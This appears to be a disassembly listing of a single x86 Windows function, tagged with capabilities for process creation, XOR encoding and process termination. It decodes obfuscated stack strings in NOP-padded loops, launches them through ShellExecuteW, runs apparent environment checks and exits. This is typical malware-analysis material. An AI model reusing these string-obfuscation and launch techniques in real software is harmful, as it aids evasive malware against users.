Function at 0x40d760
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebx
push edi
push esi
sub esp, 0x2c
call fcn.004412c0
test al, al
je 0x40d9ee
mov dword [esp], 0x595a7277
mov dword [esp + 4], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
xor dl, 0xef
add dl, al
xor dl, byte [esp + ecx]
add dl, 0x55
mov byte [esp + ecx], dl
inc ecx
add al, 2
cmp ecx, 8
jne 0x40d790
mov ecx, dword [esp]
mov eax, ecx
and eax, 0xff368126
mov edx, ecx
and edx, 0xc97ed9
or ecx, 0xc97ed9
imul ecx, edx
xor edx, 0xc97ed9
imul edx, eax
add ecx, edx
mov eax, ecx
shr eax, 7
mov edx, eax
and edx, ecx
mov edi, edx
and edi, 0xfffffffd
mov ebx, edx
and ebx, 2
mov esi, edx
or esi, 0xfffffffd
inc esi
imul esi, edi
or edx, 2
imul edx, ebx
sub esi, edx
add eax, ecx
add eax, esi
mov edx, eax
and edx, 0xb9fe1a8
mov esi, eax
mov ecx, eax
or eax, 0xb9fe1a8
imul eax, edx
xor edx, 0xb9fe1a8
xor esi, 0xb9fe1a8
or ecx, 0xf4601e57
and ecx, esi
mov esi, ecx
not esi
and esi, edx
imul esi, ecx
or edx, ecx
add eax, esi
mov dword [esp], 0xb7c8efd
mov byte [esp + 4], 0
and ecx, 0xb9fe1a8
imul ecx, edx
mov edx, 0xbeba3f3b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + edx + 0x4145c0c5]
mov esi, edx
and esi, ebx
add esi, esi
sub ebx, esi
add ebx, edx
mov esi, ebx
not esi
and esi, 0xcf
and ebx, 0x30
sub ebx, esi
add bl, 0xa8
mov byte [esp + edx + 0x4145c0c5], bl
inc edx
cmp edx, 0xbeba3f40
jne 0x40d850
add eax, ecx
cmp eax, dword [esp]
jne 0x40d9b7
mov dword [esp], 0x1fb319bf
mov dword [esp + 4], 0x63101db8
mov dword [esp + 8], 0x67de61c5
mov dword [esp + 0xc], 0x6b0a65c1
mov dword [esp + 0x10], 0x6fc9691b
mov dword [esp + 0x14], 0x6d6c
mov dword [esp + 0x18], 0
mov eax, 0x975182ba
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x68ae7d46]
xor ecx, eax
mov esi, ecx
xor esi, 0xf4978da2
mov edx, ecx
or edx, 0x340025d
and edx, esi
mov edi, edx
and edi, 2
mov esi, edx
or edx, 2
imul edx, edi
xor edi, 2
and esi, 0xfd
imul esi, edi
xor ecx, 0xb68725d
add edx, ecx
add edx, esi
and ecx, 1
or edx, 1
add edx, ecx
mov byte [esp + eax + 0x68ae7d46], dl
inc eax
cmp eax, 0x975182d6
jne 0x40d8d0
mov dword [esp + 0x1c], 0x9706990b
mov dword [esp + 0x20], 0x93009509
mov dword [esp + 0x24], 0x9190
mov byte [esp + 0x28], 0
xor esi, esi
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
and cl, 4
mov eax, ecx
or al, 2
mov edx, ebx
shr dl, 1
and dl, 1
mul dl
mov edx, eax
mov ah, bl
not ah
and ah, 2
mov al, cl
mul ah
mov dh, al
add dl, dl
mov eax, esi
mov ecx, eax
and cl, 0xc
sub dl, cl
add dl, 0xe4
movzx ecx, dl
movzx eax, dh
add eax, ebx
add eax, ecx
add al, 2
xor al, byte [esp + ebx + 0x1c]
add al, 0x82
mov byte [esp + ebx + 0x1c], al
inc ebx
add esi, 2
cmp ebx, 0xd
jne 0x40d950
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0
push eax
push 0x4493da
push ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00438ed0
test al, al
je 0x40d9e9
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call dword [sym.imp.USER32.dll_GetInputState]
test eax, eax
je 0x40d9d6
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.0040e860
test al, al
je 0x40d9e9
call fcn.004111e0
call fcn.00410040
call fcn.00441f80
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]